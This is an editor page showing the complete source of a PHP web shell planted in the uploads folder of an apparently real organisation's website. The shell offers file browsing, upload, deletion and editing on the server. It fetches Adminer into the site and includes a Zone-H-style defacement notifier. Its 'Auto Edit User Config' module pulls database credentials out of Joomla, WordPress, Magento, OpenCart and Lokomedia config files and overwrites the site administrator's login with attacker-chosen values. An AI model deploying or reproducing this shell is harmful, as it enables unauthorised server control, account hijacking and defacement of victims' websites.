<h2>Editing: /home/u862835062/domains/pamthunzisafetynet.org/public_html/assets/uploads/xy.php</h2>
    <form method='post'>
    <textarea name='content' rows='25' cols='100'>&lt;?php
$currentDir = isset($_POST[&#039;d&#039;]) &amp;&amp; !empty($_POST[&#039;d&#039;]) ? base64_decode($_POST[&#039;d&#039;]) : getcwd();
$currentDir = str_replace(&quot;\\&quot;, &quot;/&quot;, $currentDir);
$dir = $currentDir; // Needed for Adminer logic

// Adminer Download Panel
if (isset($_GET[&#039;DPH&#039;]) &amp;&amp; $_GET[&#039;DPH&#039;] == &#039;adminer&#039;) {
    $full = str_replace($_SERVER[&#039;DOCUMENT_ROOT&#039;], &quot;&quot;, $dir);
    function adminer($url, $isi) {
        $fp = fopen($isi, &quot;w&quot;);
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_FILE, $fp);
        $result = curl_exec($ch);
        curl_close($ch);
        fclose($fp);
        ob_flush();
        flush();
        return $result;
    }

    echo &quot;&lt;center&gt;&lt;h2&gt;Adminer Downloader&lt;/h2&gt;&quot;;
    if (file_exists(&#039;adminer.php&#039;)) {
        echo &quot;&lt;font color=lime&gt;&lt;a href=&#039;$full/adminer.php&#039; target=&#039;_blank&#039;&gt;-&gt; adminer login &lt;-&lt;/a&gt;&lt;/font&gt;&quot;;
    } else {
        if (adminer(&quot;https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php&quot;, &quot;adminer.php&quot;)) {
            echo &quot;&lt;font color=lime&gt;&lt;a href=&#039;$full/adminer.php&#039; target=&#039;_blank&#039;&gt;-&gt; adminer login &lt;-&lt;/a&gt;&lt;/font&gt;&quot;;
        } else {
            echo &quot;&lt;font color=red&gt;Failed to create adminer.php&lt;/font&gt;&quot;;
        }
    }
    echo &quot;&lt;/center&gt;&quot;;
    exit;
}

// Simulated Zone-H Notifier
if (isset($_GET[&#039;DPH&#039;]) &amp;&amp; $_GET[&#039;DPH&#039;] == &#039;zoneh&#039;) {
    echo &quot;&lt;hr&gt;&lt;center&gt;&lt;h2&gt;Zone-H Style Notifier (Simulated)&lt;/h2&gt;&quot;;
    if (isset($_POST[&#039;submit&#039;])) {
        $domainList = explode(&quot;\r\n&quot;, $_POST[&#039;url&#039;]);
        $nick = $_POST[&#039;nick&#039;];
        echo &quot;Notifier Archive: &lt;a href=&#039;#&#039; target=&#039;_blank&#039;&gt;http://zone-h.org/archive/notifier=$nick&lt;/a&gt;&lt;br&gt;&lt;br&gt;&quot;;
        foreach ($domainList as $url) {
            $url = trim($url);
            if ($url) {
                echo htmlspecialchars($url) . &quot; -&gt; &lt;font color=lime&gt;SIMULATED_OK&lt;/font&gt;&lt;br&gt;&quot;;
            }
        }
    } else {
        echo &quot;&lt;form method=&#039;post&#039;&gt;
            &lt;u&gt;Defacer&lt;/u&gt;: &lt;br&gt;
            &lt;input type=&#039;text&#039; name=&#039;nick&#039; size=&#039;50&#039; value=&#039;DPH&#039;&gt;&lt;br&gt;
            &lt;u&gt;Domains&lt;/u&gt;: &lt;br&gt;
            &lt;textarea style=&#039;width: 450px; height: 150px;&#039; name=&#039;url&#039;&gt;&lt;/textarea&gt;&lt;br&gt;
            &lt;input type=&#039;submit&#039; name=&#039;submit&#039; value=&#039;Submit&#039; style=&#039;width: 450px;&#039;&gt;
            &lt;/form&gt;&quot;;
    }
    echo &quot;&lt;/center&gt;&lt;hr&gt;&quot;;
    exit;
}

// Auto Edit User Config
if (isset($_GET[&#039;DPH&#039;]) &amp;&amp; $_GET[&#039;DPH&#039;] == &#039;edit_user&#039;) {
    function ambilkata($string, $start, $end) {
        $str = explode($start, $string);
        if (isset($str[1])) {
            $str = explode($end, $str[1]);
            return $str[0];
        }
        return &#039;&#039;;
    }
    
    if (isset($_POST[&#039;hajar&#039;])) {
        if (strlen($_POST[&#039;pass_baru&#039;]) &lt; 6 OR strlen($_POST[&#039;user_baru&#039;]) &lt; 6) {
            echo &quot;username atau password harus lebih dari 6 karakter&quot;;
        } else {
            $user_baru = $_POST[&#039;user_baru&#039;];
            $pass_baru = md5($_POST[&#039;pass_baru&#039;]);
            $conf = $_POST[&#039;config_dir&#039;];
            $scan_conf = scandir($conf);
            foreach($scan_conf as $file_conf) {
                if(!is_file(&quot;$conf/$file_conf&quot;)) continue;
                $config = file_get_contents(&quot;$conf/$file_conf&quot;);
                if(preg_match(&quot;/JConfig|joomla/&quot;,$config)) {
                    $dbhost = ambilkata($config,&quot;host = &#039;&quot;,&quot;&#039;&quot;);
                    $dbuser = ambilkata($config,&quot;user = &#039;&quot;,&quot;&#039;&quot;);
                    $dbpass = ambilkata($config,&quot;password = &#039;&quot;,&quot;&#039;&quot;);
                    $dbname = ambilkata($config,&quot;db = &#039;&quot;,&quot;&#039;&quot;);
                    $dbprefix = ambilkata($config,&quot;dbprefix = &#039;&quot;,&quot;&#039;&quot;);
                    $prefix = $dbprefix.&quot;users&quot;;
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query(&quot;SELECT * FROM $prefix ORDER BY id ASC&quot;);
                    $result = mysql_fetch_array($q);
                    $id = $result[&#039;id&#039;];
                    $site = ambilkata($config,&quot;sitename = &#039;&quot;,&quot;&#039;&quot;);
                    $update = mysql_query(&quot;UPDATE $prefix SET username=&#039;$user_baru&#039;,password=&#039;$pass_baru&#039; WHERE id=&#039;$id&#039;&quot;);
                    echo &quot;Config =&gt; &quot;.$file_conf.&quot;&lt;br&gt;&quot;;
                    echo &quot;CMS =&gt; Joomla&lt;br&gt;&quot;;
                    if($site == &#039;&#039;) {
                        echo &quot;Sitename =&gt; &lt;font color=red&gt;error, gabisa ambil nama domain nya&lt;/font&gt;&lt;br&gt;&quot;;
                    } else {
                        echo &quot;Sitename =&gt; $site&lt;br&gt;&quot;;
                    }
                    if(!$update OR !$conn OR !$db) {
                        echo &quot;Status =&gt; &lt;font color=red&gt;&quot;.mysql_error().&quot;&lt;/font&gt;&lt;br&gt;&lt;br&gt;&quot;;
                    } else {
                        echo &quot;Status =&gt; &lt;font color=lime&gt;sukses edit user, silakan login dengan user &amp; pass yang baru.&lt;/font&gt;&lt;br&gt;&lt;br&gt;&quot;;
                    }
                    mysql_close($conn);
                } elseif(preg_match(&quot;/WordPress/&quot;,$config)) {
                    $dbhost = ambilkata($config,&quot;DB_HOST&#039;, &#039;&quot;,&quot;&#039;&quot;);
                    $dbuser = ambilkata($config,&quot;DB_USER&#039;, &#039;&quot;,&quot;&#039;&quot;);
                    $dbpass = ambilkata($config,&quot;DB_PASSWORD&#039;, &#039;&quot;,&quot;&#039;&quot;);
                    $dbname = ambilkata($config,&quot;DB_NAME&#039;, &#039;&quot;,&quot;&#039;&quot;);
                    $dbprefix = ambilkata($config,&quot;table_prefix  = &#039;&quot;,&quot;&#039;&quot;);
                    $prefix = $dbprefix.&quot;users&quot;;
                    $option = $dbprefix.&quot;options&quot;;
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query(&quot;SELECT * FROM $prefix ORDER BY id ASC&quot;);
                    $result = mysql_fetch_array($q);
                    $id = $result[ID];
                    $q2 = mysql_query(&quot;SELECT * FROM $option ORDER BY option_id ASC&quot;);
                    $result2 = mysql_fetch_array($q2);
                    $target = $result2[option_value];
                    if($target == &#039;&#039;) {
                        $url_target = &quot;Login =&gt; &lt;font color=red&gt;error, gabisa ambil nama domain nyaa&lt;/font&gt;&lt;br&gt;&quot;;
                    } else {
                        $url_target = &quot;Login =&gt; &lt;a href=&#039;$target/wp-login.php&#039; target=&#039;_blank&#039;&gt;&lt;u&gt;$target/wp-login.php&lt;/u&gt;&lt;/a&gt;&lt;br&gt;&quot;;
                    }
                    $update = mysql_query(&quot;UPDATE $prefix SET user_login=&#039;$user_baru&#039;,user_pass=&#039;$pass_baru&#039; WHERE id=&#039;$id&#039;&quot;);
                    echo &quot;Config =&gt; &quot;.$file_conf.&quot;&lt;br&gt;&quot;;
                    echo &quot;CMS =&gt; Wordpress&lt;br&gt;&quot;;
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo &quot;Status =&gt; &lt;font color=red&gt;&quot;.mysql_error().&quot;&lt;/font&gt;&lt;br&gt;&lt;br&gt;&quot;;
                    } else {
                        echo &quot;Status =&gt; &lt;font color=lime&gt;sukses edit user, silakan login dengan user &amp; pass yang baru.&lt;/font&gt;&lt;br&gt;&lt;br&gt;&quot;;
                    }
                    mysql_close($conn);
                } elseif(preg_match(&quot;/Magento|Mage_Core/&quot;,$config)) {
                    $dbhost = ambilkata($config,&quot;&lt;host&gt;&lt;![CDATA[&quot;,&quot;]]&gt;&lt;/host&gt;&quot;);
                    $dbuser = ambilkata($config,&quot;&lt;username&gt;&lt;![CDATA[&quot;,&quot;]]&gt;&lt;/username&gt;&quot;);
                    $dbpass = ambilkata($config,&quot;&lt;password&gt;&lt;![CDATA[&quot;,&quot;]]&gt;&lt;/password&gt;&quot;);
                    $dbname = ambilkata($config,&quot;&lt;dbname&gt;&lt;![CDATA[&quot;,&quot;]]&gt;&lt;/dbname&gt;&quot;);
                    $dbprefix = ambilkata($config,&quot;&lt;table_prefix&gt;&lt;![CDATA[&quot;,&quot;]]&gt;&lt;/table_prefix&gt;&quot;);
                    $prefix = $dbprefix.&quot;admin_user&quot;;
                    $option = $dbprefix.&quot;core_config_data&quot;;
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query(&quot;SELECT * FROM $prefix ORDER BY user_id ASC&quot;);
                    $result = mysql_fetch_array($q);
                    $id = $result[user_id];
                    $q2 = mysql_query(&quot;SELECT * FROM $option WHERE path=&#039;web/secure/base_url&#039;&quot;);
                    $result2 = mysql_fetch_array($q2);
                    $target = $result2[value];
                    if($target == &#039;&#039;) {
                        $url_target = &quot;Login =&gt; &lt;font color=red&gt;error, gabisa ambil nama domain nyaa&lt;/font&gt;&lt;br&gt;&quot;;
                    } else {
                        $url_target = &quot;Login =&gt; &lt;a href=&#039;$target/admin/&#039; target=&#039;_blank&#039;&gt;&lt;u&gt;$target/admin/&lt;/u&gt;&lt;/a&gt;&lt;br&gt;&quot;;
                    }
                    $update = mysql_query(&quot;UPDATE $prefix SET username=&#039;$user_baru&#039;,password=&#039;$pass_baru&#039; WHERE user_id=&#039;$id&#039;&quot;);
                    echo &quot;Config =&gt; &quot;.$file_conf.&quot;&lt;br&gt;&quot;;
                    echo &quot;CMS =&gt; Magento&lt;br&gt;&quot;;
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo &quot;Status =&gt; &lt;font color=red&gt;&quot;.mysql_error().&quot;&lt;/font&gt;&lt;br&gt;&lt;br&gt;&quot;;
                    } else {
                        echo &quot;Status =&gt; &lt;font color=lime&gt;sukses edit user, silakan login dengan user &amp; pass yang baru.&lt;/font&gt;&lt;br&gt;&lt;br&gt;&quot;;
                    }
                    mysql_close($conn);
                } elseif(preg_match(&quot;/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/&quot;,$config)) {
                    $dbhost = ambilkata($config,&quot;&#039;DB_HOSTNAME&#039;, &#039;&quot;,&quot;&#039;&quot;);
                    $dbuser = ambilkata($config,&quot;&#039;DB_USERNAME&#039;, &#039;&quot;,&quot;&#039;&quot;);
                    $dbpass = ambilkata($config,&quot;&#039;DB_PASSWORD&#039;, &#039;&quot;,&quot;&#039;&quot;);
                    $dbname = ambilkata($config,&quot;&#039;DB_DATABASE&#039;, &#039;&quot;,&quot;&#039;&quot;);
                    $dbprefix = ambilkata($config,&quot;&#039;DB_PREFIX&#039;, &#039;&quot;,&quot;&#039;&quot;);
                    $prefix = $dbprefix.&quot;user&quot;;
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query(&quot;SELECT * FROM $prefix ORDER BY user_id ASC&quot;);
                    $result = mysql_fetch_array($q);
                    $id = $result[user_id];
                    $target = ambilkata($config,&quot;HTTP_SERVER&#039;, &#039;&quot;,&quot;&#039;&quot;);
                    if($target == &#039;&#039;) {
                        $url_target = &quot;Login =&gt; &lt;font color=red&gt;error, gabisa ambil nama domain nyaa&lt;/font&gt;&lt;br&gt;&quot;;
                    } else {
                        $url_target = &quot;Login =&gt; &lt;a href=&#039;$target&#039; target=&#039;_blank&#039;&gt;&lt;u&gt;$target&lt;/u&gt;&lt;/a&gt;&lt;br&gt;&quot;;
                    }
                    $update = mysql_query(&quot;UPDATE $prefix SET username=&#039;$user_baru&#039;,password=&#039;$pass_baru&#039; WHERE user_id=&#039;$id&#039;&quot;);
                    echo &quot;Config =&gt; &quot;.$file_conf.&quot;&lt;br&gt;&quot;;
                    echo &quot;CMS =&gt; OpenCart&lt;br&gt;&quot;;
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo &quot;Status =&gt; &lt;font color=red&gt;&quot;.mysql_error().&quot;&lt;/font&gt;&lt;br&gt;&lt;br&gt;&quot;;
                    } else {
                        echo &quot;Status =&gt; &lt;font color=lime&gt;sukses edit user, silakan login dengan user &amp; pass yang baru.&lt;/font&gt;&lt;br&gt;&lt;br&gt;&quot;;
                    }
                    mysql_close($conn);
                } elseif(preg_match(&quot;/panggil fungsi validasi xss dan injection/&quot;,$config)) {
                    $dbhost = ambilkata($config,&#039;server = &quot;&#039;,&#039;&quot;&#039;);
                    $dbuser = ambilkata($config,&#039;username = &quot;&#039;,&#039;&quot;&#039;);
                    $dbpass = ambilkata($config,&#039;password = &quot;&#039;,&#039;&quot;&#039;);
                    $dbname = ambilkata($config,&#039;database = &quot;&#039;,&#039;&quot;&#039;);
                    $prefix = &quot;users&quot;;
                    $option = &quot;identitas&quot;;
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query(&quot;SELECT * FROM $option ORDER BY id_identitas ASC&quot;);
                    $result = mysql_fetch_array($q);
                    $target = $result[alamat_website];
                    if($target == &#039;&#039;) {
                        $target2 = $result[url];
                        $url_target = &quot;Login =&gt; &lt;font color=red&gt;error, gabisa ambil nama domain nyaa&lt;/font&gt;&lt;br&gt;&quot;;
                        if($target2 == &#039;&#039;) {
                            $url_target2 = &quot;Login =&gt; &lt;font color=red&gt;error, gabisa ambil nama domain nyaa&lt;/font&gt;&lt;br&gt;&quot;;
                        } else {
                            $cek_login3 = file_get_contents(&quot;$target2/adminweb/&quot;);
                            $cek_login4 = file_get_contents(&quot;$target2/lokomedia/adminweb/&quot;);
                            if(preg_match(&quot;/CMS Lokomedia|Administrator/&quot;, $cek_login3)) {
                                $url_target2 = &quot;Login =&gt; &lt;a href=&#039;$target2/adminweb&#039; target=&#039;_blank&#039;&gt;&lt;u&gt;$target2/adminweb&lt;/u&gt;&lt;/a&gt;&lt;br&gt;&quot;;
                            } elseif(preg_match(&quot;/CMS Lokomedia|Lokomedia/&quot;, $cek_login4)) {
                                $url_target2 = &quot;Login =&gt; &lt;a href=&#039;$target2/lokomedia/adminweb&#039; target=&#039;_blank&#039;&gt;&lt;u&gt;$target2/lokomedia/adminweb&lt;/u&gt;&lt;/a&gt;&lt;br&gt;&quot;;
                            } else {
                                $url_target2 = &quot;Login =&gt; &lt;a href=&#039;$target2&#039; target=&#039;_blank&#039;&gt;&lt;u&gt;$target2&lt;/u&gt;&lt;/a&gt; [ &lt;font color=red&gt;gatau admin login nya dimana :p&lt;/font&gt; ]&lt;br&gt;&quot;;
                            }
                        }
                    } else {
                        $cek_login = file_get_contents(&quot;$target/adminweb/&quot;);
                        $cek_login2 = file_get_contents(&quot;$target/lokomedia/adminweb/&quot;);
                        if(preg_match(&quot;/CMS Lokomedia|Administrator/&quot;, $cek_login)) {
                            $url_target = &quot;Login =&gt; &lt;a href=&#039;$target/adminweb&#039; target=&#039;_blank&#039;&gt;&lt;u&gt;$target/adminweb&lt;/u&gt;&lt;/a&gt;&lt;br&gt;&quot;;
                        } elseif(preg_match(&quot;/CMS Lokomedia|Lokomedia/&quot;, $cek_login2)) {
                            $url_target = &quot;Login =&gt; &lt;a href=&#039;$target/lokomedia/adminweb&#039; target=&#039;_blank&#039;&gt;&lt;u&gt;$target/lokomedia/adminweb&lt;/u&gt;&lt;/a&gt;&lt;br&gt;&quot;;
                        } else {
                            $url_target = &quot;Login =&gt; &lt;a href=&#039;$target&#039; target=&#039;_blank&#039;&gt;&lt;u&gt;$target&lt;/u&gt;&lt;/a&gt; [ &lt;font color=red&gt;gatau admin login nya dimana :p&lt;/font&gt; ]&lt;br&gt;&quot;;
                        }
                    }
                    $update = mysql_query(&quot;UPDATE $prefix SET username=&#039;$user_baru&#039;,password=&#039;$pass_baru&#039; WHERE level=&#039;admin&#039;&quot;);
                    echo &quot;Config =&gt; &quot;.$file_conf.&quot;&lt;br&gt;&quot;;
                    echo &quot;CMS =&gt; Lokomedia&lt;br&gt;&quot;;
                    if(preg_match(&#039;/error, gabisa ambil nama domain nya/&#039;, $url_target)) {
                        echo $url_target2;
                    } else {
                        echo $url_target;
                    }
                    if(!$update OR !$conn OR !$db) {
                        echo &quot;Status =&gt; &lt;font color=red&gt;&quot;.mysql_error().&quot;&lt;/font&gt;&lt;br&gt;&lt;br&gt;&quot;;
                    } else {
                        echo &quot;Status =&gt; &lt;font color=lime&gt;sukses edit user, silakan login dengan user &amp; pass yang baru.&lt;/font&gt;&lt;br&gt;&lt;br&gt;&quot;;
                    }
                    mysql_close($conn);
                }
            }
        }
    } else {
        echo &quot;&lt;center&gt;
        &lt;h1&gt;Auto Edit User Config&lt;/h1&gt;
        &lt;form method=&#039;post&#039;&gt;
        &lt;input type=&#039;hidden&#039; name=&#039;d&#039; value=&#039;&quot;.base64_encode($currentDir).&quot;&#039;&gt;
        DIR Config: &lt;br&gt;
        &lt;input type=&#039;text&#039; size=&#039;50&#039; name=&#039;config_dir&#039; value=&#039;$dir&#039;&gt;&lt;br&gt;&lt;br&gt;
        Set User &amp; Pass: &lt;br&gt;
        &lt;input type=&#039;text&#039; name=&#039;user_baru&#039; value=&#039;DPH&#039; placeholder=&#039;user_baru&#039;&gt;&lt;br&gt;
        &lt;input type=&#039;text&#039; name=&#039;pass_baru&#039; value=&#039;DPH690&#039; placeholder=&#039;pass_baru&#039;&gt;&lt;br&gt;
        &lt;input type=&#039;submit&#039; name=&#039;hajar&#039; value=&#039;Sikat!&#039; style=&#039;width: 215px;&#039;&gt;
        &lt;/form&gt;
        &lt;span&gt;NB: Tools ini work jika dijalankan di dalam folder &lt;u&gt;config&lt;/u&gt; ( ex: /home/user/public_html/nama_folder_config )&lt;/span&gt;&lt;br&gt;
        &quot;;
        exit;
    }
}

// Directory Navigation
$pathParts = explode(&quot;/&quot;, $currentDir);
echo &quot;&lt;div class=\&quot;dir\&quot;&gt;&quot;;
foreach ($pathParts as $k =&gt; $v) {
    if ($v == &quot;&quot; &amp;&amp; $k == 0) {
        echo &quot;&lt;a href=\&quot;javascript:void(0);\&quot; onclick=\&quot;postDir(&#039;/&#039;)\&quot;&gt;/&lt;/a&gt;&quot;;
        continue;
    }
    $dirPath = implode(&quot;/&quot;, array_slice($pathParts, 0, $k + 1));
    echo &quot;&lt;a href=\&quot;javascript:void(0);\&quot; onclick=\&quot;postDir(&#039;&quot; . addslashes($dirPath) . &quot;&#039;)\&quot;&gt;$v&lt;/a&gt;/&quot;;
}
echo &quot;&lt;/div&gt;&quot;;

// Upload
if (isset($_POST[&#039;s&#039;]) &amp;&amp; isset($_FILES[&#039;u&#039;]) &amp;&amp; $_FILES[&#039;u&#039;][&#039;error&#039;] == 0) {
    $fileName = $_FILES[&#039;u&#039;][&#039;name&#039;];
    $tmpName = $_FILES[&#039;u&#039;][&#039;tmp_name&#039;];
    $destination = $currentDir . &#039;/&#039; . $fileName;
    if (move_uploaded_file($tmpName, $destination)) {
        echo &quot;&lt;script&gt;alert(&#039;Upload successful!&#039;); postDir(&#039;&quot; . addslashes($currentDir) . &quot;&#039;);&lt;/script&gt;&quot;;
    } else {
        echo &quot;&lt;script&gt;alert(&#039;Upload failed!&#039;);&lt;/script&gt;&quot;;
    }
}

// File/Folder Listing
$items = scandir($currentDir);
if ($items !== false) {
    echo &quot;&lt;table&gt;&quot;;
    echo &quot;&lt;tr&gt;&lt;th&gt;Name&lt;/th&gt;&lt;th&gt;Size&lt;/th&gt;&lt;th&gt;Action&lt;/th&gt;&lt;/tr&gt;&quot;;

    foreach ($items as $item) {
        $fullPath = $currentDir . &#039;/&#039; . $item;
        if ($item == &#039;.&#039; || $item == &#039;..&#039;) continue;

        if (is_dir($fullPath)) {
            echo &quot;&lt;tr&gt;&lt;td&gt;&lt;a href=\&quot;javascript:void(0);\&quot; onclick=\&quot;postDir(&#039;&quot; . addslashes($fullPath) . &quot;&#039;)\&quot;&gt;📁 $item&lt;/a&gt;&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;/tr&gt;&quot;;
        } else {
            $size = filesize($fullPath) / 1024;
            $size = $size &gt;= 1024 ? round($size / 1024, 2) . &#039;MB&#039; : round($size, 2) . &#039;KB&#039;;
            echo &quot;&lt;tr&gt;&lt;td&gt;&lt;a href=\&quot;javascript:void(0);\&quot; onclick=\&quot;postOpen(&#039;&quot; . addslashes($fullPath) . &quot;&#039;)\&quot;&gt;📄 $item&lt;/a&gt;&lt;/td&gt;&lt;td&gt;$size&lt;/td&gt;&lt;td&gt;&quot;
                . &quot;&lt;a href=\&quot;javascript:void(0);\&quot; onclick=\&quot;postDel(&#039;&quot; . addslashes($fullPath) . &quot;&#039;)\&quot;&gt;Delete&lt;/a&gt; | &quot;
                . &quot;&lt;a href=\&quot;javascript:void(0);\&quot; onclick=\&quot;postEdit(&#039;&quot; . addslashes($fullPath) . &quot;&#039;)\&quot;&gt;Edit&lt;/a&gt; | &quot;
                . &quot;&lt;a href=\&quot;javascript:void(0);\&quot; onclick=\&quot;postRen(&#039;&quot; . addslashes($fullPath) . &quot;&#039;, &#039;$item&#039;)\&quot;&gt;Rename&lt;/a&gt;&quot;
                . &quot;&lt;/td&gt;&lt;/tr&gt;&quot;;
        }
    }
    echo &quot;&lt;/table&gt;&quot;;
} else {
    echo &quot;&lt;p&gt;Unable to read directory!&lt;/p&gt;&quot;;
}

// Delete File
if (isset($_POST[&#039;del&#039;])) {
    $filePath = base64_decode($_POST[&#039;del&#039;]);
    $fileDir = dirname($filePath);
    if (@unlink($filePath)) {
        echo &quot;&lt;script&gt;alert(&#039;Delete successful&#039;); postDir(&#039;&quot; . addslashes($fileDir) . &quot;&#039;);&lt;/script&gt;&quot;;
    } else {
        echo &quot;&lt;script&gt;alert(&#039;Delete failed&#039;); postDir(&#039;&quot; . addslashes($fileDir) . &quot;&#039;);&lt;/script&gt;&quot;;
    }
}

// Edit File
if (isset($_POST[&#039;edit&#039;])) {
    $filePath = base64_decode($_POST[&#039;edit&#039;]);
    $fileDir = dirname($filePath);
    if (file_exists($filePath)) {
        echo &quot;&lt;style&gt;table{display:none;}&lt;/style&gt;&quot;;
        echo &quot;&lt;a href=\&quot;javascript:void(0);\&quot; onclick=\&quot;postDir(&#039;&quot; . addslashes($fileDir) . &quot;&#039;)\&quot;&gt;Back&lt;/a&gt;&quot;;
        echo &quot;&lt;form method=\&quot;post\&quot;&gt;
            &lt;input type=\&quot;hidden\&quot; name=\&quot;obj\&quot; value=\&quot;&quot; . $_POST[&#039;edit&#039;] . &quot;\&quot;&gt;
            &lt;input type=\&quot;hidden\&quot; name=\&quot;d\&quot; value=\&quot;&quot; . base64_encode($fileDir) . &quot;\&quot;&gt;
            &lt;textarea name=\&quot;content\&quot;&gt;&quot; . htmlspecialchars(file_get_contents($filePath)) . &quot;&lt;/textarea&gt;
            &lt;center&gt;&lt;button type=\&quot;submit\&quot; name=\&quot;save\&quot;&gt;Save&lt;/button&gt;&lt;/center&gt;
            &lt;/form&gt;&quot;;
    }
}

// Save Edited File
if (isset($_POST[&#039;save&#039;]) &amp;&amp; isset($_POST[&#039;obj&#039;]) &amp;&amp; isset($_POST[&#039;content&#039;])) {
    $filePath = base64_decode($_POST[&#039;obj&#039;]);
    $fileDir = dirname($filePath);
    if (file_put_contents($filePath, $_POST[&#039;content&#039;])) {
        echo &quot;&lt;script&gt;alert(&#039;Saved&#039;); postDir(&#039;&quot; . addslashes($fileDir) . &quot;&#039;);&lt;/script&gt;&quot;;
    } else {
        echo &quot;&lt;script&gt;alert(&#039;Save failed&#039;); postDir(&#039;&quot; . addslashes($fileDir) . &quot;&#039;);&lt;/script&gt;&quot;;
    }
}

// Rename
if (isset($_POST[&#039;ren&#039;])) {
    $oldPath = base64_decode($_POST[&#039;ren&#039;]);
    $oldDir = dirname($oldPath);
    if (isset($_POST[&#039;new&#039;])) {
        $newPath = $oldDir . &#039;/&#039; . $_POST[&#039;new&#039;];
        if (rename($oldPath, $newPath)) {
            echo &quot;&lt;script&gt;alert(&#039;Renamed&#039;); postDir(&#039;&quot; . addslashes($oldDir) . &quot;&#039;);&lt;/script&gt;&quot;;
        } else {
            echo &quot;&lt;script&gt;alert(&#039;Rename failed&#039;); postDir(&#039;&quot; . addslashes($oldDir) . &quot;&#039;);&lt;/script&gt;&quot;;
        }
    } else {
        echo &quot;&lt;form method=\&quot;post\&quot;&gt;
            New Name: &lt;input name=\&quot;new\&quot; type=\&quot;text\&quot;&gt;
            &lt;input type=\&quot;hidden\&quot; name=\&quot;ren\&quot; value=\&quot;&quot; . $_POST[&#039;ren&#039;] . &quot;\&quot;&gt;
            &lt;input type=\&quot;hidden\&quot; name=\&quot;d\&quot; value=\&quot;&quot; . base64_encode($oldDir) . &quot;\&quot;&gt;
            &lt;input type=\&quot;submit\&quot; value=\&quot;Submit\&quot;&gt;
            &lt;/form&gt;&quot;;
    }
}
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;File Manager + Adminer + ZoneH + AutoEditUser&lt;/title&gt;
    &lt;style&gt;
        table { margin: 20px auto; border-collapse: collapse; width: 90%; }
        th, td { border: 1px solid #000; padding: 5px; text-align: left; }
        textarea { width: 100%; height: 300px; }
        .dir { margin: 20px; }
    &lt;/style&gt;
    &lt;script&gt;
        function postDir(dir) {
            var form = document.createElement(&quot;form&quot;);
            form.method = &quot;post&quot;;
            var input = document.createElement(&quot;input&quot;);
            input.name = &quot;d&quot;;
            input.value = btoa(dir);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
        function postDel(path) {
            var form = document.createElement(&quot;form&quot;);
            form.method = &quot;post&quot;;
            var input = document.createElement(&quot;input&quot;);
            input.name = &quot;del&quot;;
            input.value = btoa(path);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
        function postEdit(path) {
            var form = document.createElement(&quot;form&quot;);
            form.method = &quot;post&quot;;
            var input = document.createElement(&quot;input&quot;);
            input.name = &quot;edit&quot;;
            input.value = btoa(path);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
        function postRen(path, name) {
            var newName = prompt(&quot;New name:&quot;, name);
            if (newName) {
                var form = document.createElement(&quot;form&quot;);
                form.method = &quot;post&quot;;
                var input1 = document.createElement(&quot;input&quot;);
                input1.name = &quot;ren&quot;;
                input1.value = btoa(path);
                var input2 = document.createElement(&quot;input&quot;);
                input2.name = &quot;new&quot;;
                input2.value = newName;
                form.appendChild(input1);
                form.appendChild(input2);
                document.body.appendChild(form);
                form.submit();
            }
        }
        function postOpen(path) {
            window.open(atob(btoa(path)));
        }
    &lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;div class=&quot;dir&quot;&gt;
        &lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
            &lt;input type=&quot;file&quot; name=&quot;u&quot;&gt;
            &lt;input type=&quot;submit&quot; name=&quot;s&quot; value=&quot;Upload&quot;&gt;
            &lt;input type=&quot;hidden&quot; name=&quot;d&quot; value=&quot;&lt;?php echo base64_encode($currentDir); ?&gt;&quot;&gt;
        &lt;/form&gt;
        &lt;div style=&quot;margin-top: 10px;&quot;&gt;
            &lt;a href=&quot;?DPH=adminer&quot;&gt;Adminer Download&lt;/a&gt; | 
            &lt;a href=&quot;?DPH=zoneh&quot;&gt;Zone-H Notifier&lt;/a&gt; | 
            &lt;a href=&quot;?DPH=edit_user&quot;&gt;Auto Edit User Config&lt;/a&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</textarea><br>
    <button type='submit'>Save</button>
    </form>